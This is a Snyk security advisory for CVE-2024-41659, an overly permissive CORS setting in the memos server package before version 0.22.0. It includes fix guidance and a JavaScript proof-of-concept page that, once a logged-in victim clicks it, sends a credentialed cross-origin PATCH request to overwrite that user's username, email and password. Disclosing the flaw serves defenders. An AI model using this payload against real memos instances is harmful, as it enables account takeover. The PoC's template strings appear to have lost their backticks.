Overly Permissive CORS Affecting github.com/usememos/memos/server package, versions <0.22.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMUSEMEMOSMEMOSSERVER-7723931
- published21 Aug 2024
- disclosed20 Aug 2024
- creditKevin Stubbings
Introduced: 20 Aug 2024
CVE-2024-41659 Â (opens in a new tab)How to fix?
Upgrade github.com/usememos/memos/server to version 0.22.0 or higher.
Overview
Affected versions of this package are vulnerable to Overly Permissive CORS via the server.go configuration. An attacker can read private information or make privileged changes to the system as the vulnerable user account by making a cross-origin request with improper CORS settings.
PoC
This proof of concept works exclusively with Firefox due to changes in third party cookies policies in all recent browsers.
<body> <p>Click here to login.</p> <div id="response"></div><script> const url = 'https://demo.usememos.com/api/v1/user'; document.addEventListener("DOMContentLoaded", () => { document.onclick = () => { open(url);const requestBody = { rowStatus: "NORMAL", // Replace with the desired row status username: "test", // Replace with the desired username email: "test@gmail.com", // Replace with the desired email nickname: "", // Replace with the desired nickname password: "password", // Replace with the desired password avatarUrl: "" // Replace with the desired avatar URL };
// Sending the request let userID = 101; fetch(https://demo.usememos.com/api/v1/user/{userID}, { method: 'PATCH', headers: { 'Content-Type': 'application/json' }, credentials: "include", body: JSON.stringify(requestBody) }) .then(response => { if (!response.ok) { throw new Error(HTTP error! Status: ${response.status}); } return response.json(); }) .then(data => { console.log('Updated user:', data); }) .catch(error => { console.error('Error updating user:', error); }); } }); </script> </body>